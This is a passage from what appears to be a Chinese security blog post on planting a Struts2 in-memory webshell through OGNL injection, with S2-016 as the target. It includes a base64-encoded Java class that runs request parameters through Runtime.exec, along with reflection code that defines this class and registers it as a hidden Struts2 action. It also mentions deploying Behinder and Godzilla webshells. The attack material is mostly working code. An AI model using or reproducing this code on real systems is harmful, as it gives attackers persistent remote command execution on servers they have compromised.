9BY3Rpb25Db250ZXh0OwEAA2dldAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEAE2phdmFzc2lzdC9DbGFzc1Bvb2wBAApnZXREZWZhdWx0AQAXKClMamF2YXNzaXN0L0NsYXNzUG9vbDsBAA9qYXZhL2xhbmcvQ2xhc3MBAAdnZXROYW1lAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXNzaXN0L0N0Q2xhc3M7AQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAEWphdmFzc2lzdC9DdENsYXNzAQAKdG9CeXRlY29kZQEABCgpW0IBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAEKEkpVgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TdHJpbmcBAAZsZW5ndGgBAAMoKUkAIQAXACEAAAAAAAMAAQAiACMAAQAkAAAALwABAAEAAAAFKrcAAbEAAAACACUAAAAGAAEAAAAQACYAAAAMAAEAAAAFACcAKAAAAAEAKQAqAAIAJAAAAJoABgADAAAATLgAAhIEtgAFwAAGTLgAAhIHtgAFwAAITSy5AAkBALsAClm4AAsrEgy5AA0CALYADrYAD7cAEBIRtgAStgATtgAULLkACQEAtgAVAbAAAAACACUAAAAWAAUAAAATAAwAFAAYABYAQQAXAEoAGAAmAAAAIAADAAAATAAnACgAAAAMAEAAKwAsAAEAGAA0AC0ALgACAC8AAAAEAAEAMAAJADEAMgACACQAAACpAAIABQAAADu4ABZMKxIXtgAYtgAZTbgAGk6yABsstgAcvrYAHS0stgActgAeOgSyABsZBLYAH7YAHbIAGxkEtgAgsQAAAAIAJQAAACIACAAAAB0ABAAfAA4AIQASACMAHQAkACcAJQAyACYAOgAnACYAAAA0AAUAAAA7ADMANAAAAAQANwA1ADYAAQAOAC0ANwA4AAIAEgApADkAPQADACcAFAA+AD8ABAAvAAAACAADAEAAQQBCAAIAQwAAAAIARAA8AAAACgABADoAZAA7AAk=";
            ClassLoader loader = Thread.currentThread().getContextClassLoader();
            System.out.println(loader);
            byte[] decode = java.util.Base64.getDecoder().decode(s);
            java.lang.reflect.Method var47 = ClassLoader.class.getDeclaredMethod("defineClass", String.classbyte[].classInteger.TYPEInteger.TYPE);
            var47.setAccessible(true);
            var47.invoke(loader, "com.demo.action.Cmd", decode, Integer.valueOf("0"), decode.length);
            try {
                java.lang.reflect.Constructor<?> constructor = Class.forName("com.opensymphony.xwork2.config.entities.ActionConfig").getDeclaredConstructor(new Class[]{String.classString.classString.class});
                constructor.setAccessible(true);

                java.util.LinkedHashMap o1 = (LinkedHashMap) obj5.get("");
                o1.put("onlysecurity",  constructor.newInstance("f0ng""onlysecurity""com.demo.action.Cmd"));

            }catch (Exception e2) {
            }

        }catch (Exception e){

        }
    }
    public static void main(String[] args, java.util.Map obj5) throws Exception {

        hello aa = new hello(obj5);
    }
}

编译成hello.class

那么把java.net.URLClassLoader的赋值增加一个#this.class.getClassLoader(),直接注内存马

如此丝滑!感谢su18师傅指导!

这里就不放payload了,把之前文章提及的payload进行赋值增加classloader即可。

顺带一提,这里base64的编码笔者是没有去变的,所以用的还是参考文章里struts2内存马里面的,这里如果要自定义类的话,可以使用poc2jar文件转码中的导出文件功能

保存完文件,拖到idea,直接能看到代码内容:

那么就可以注入冰蝎、哥斯拉等等方便操作的webshell了!再次感谢su18大佬提供的冰蝎马!

0x05 总结

  1. 内存马的知识了解甚少,一些基础知识需要去学习
  2. 不能根据所掌握的知识去攻击,应该去拓展自己的知识,如这里的struts2中的#this变量,之前是不知道的,当知道了以后,问题就迎刃而解了
  3. class.forName是取决于类加载器的,之前是URLClassloader加载器,会在其中寻找类,而又是通过file协议加载,所以会报出来classnotfound的错误
  4. 捕捉到异常后,new String(Arrays.toString(e.getStackTrace()))可以将详细报错捕捉到,这里用到了写入文件进行调试实例化类时遇到的报错问题,方法比较蠢,但是有效

0x06 坑点

  1. LinkedHashMap对象赋值的时候,如果context是有后缀的,那么应该是obj5.get(""),没有后缀的话,那么就是obj5.get("/")

0x07 参考

https://www.cnblogs.com/xiaozhiru/p/16163057.html    【Struts2 的内存马】

https://blog.csdn.net/xlgen157387/article/details/39735703   【Struts2的OGNL详解】

https://github.com/vulhub/vulhub/tree/master/struts2/s2-016 【Struts2 016环境】


文章来源: http://mp.weixin.qq.com/s?__biz=MzkzNzE4MTk4Nw==&mid=2247485907&idx=1&sn=3894cebbc59efa64dad949f670ffef94&chksm=c2921f9ff5e59689b8dcc28ffa6c2d9fc63b29fe792d486bc0a4bae1753cad672d02053530d6#rd
如有侵权请联系:admin#unsafe.sh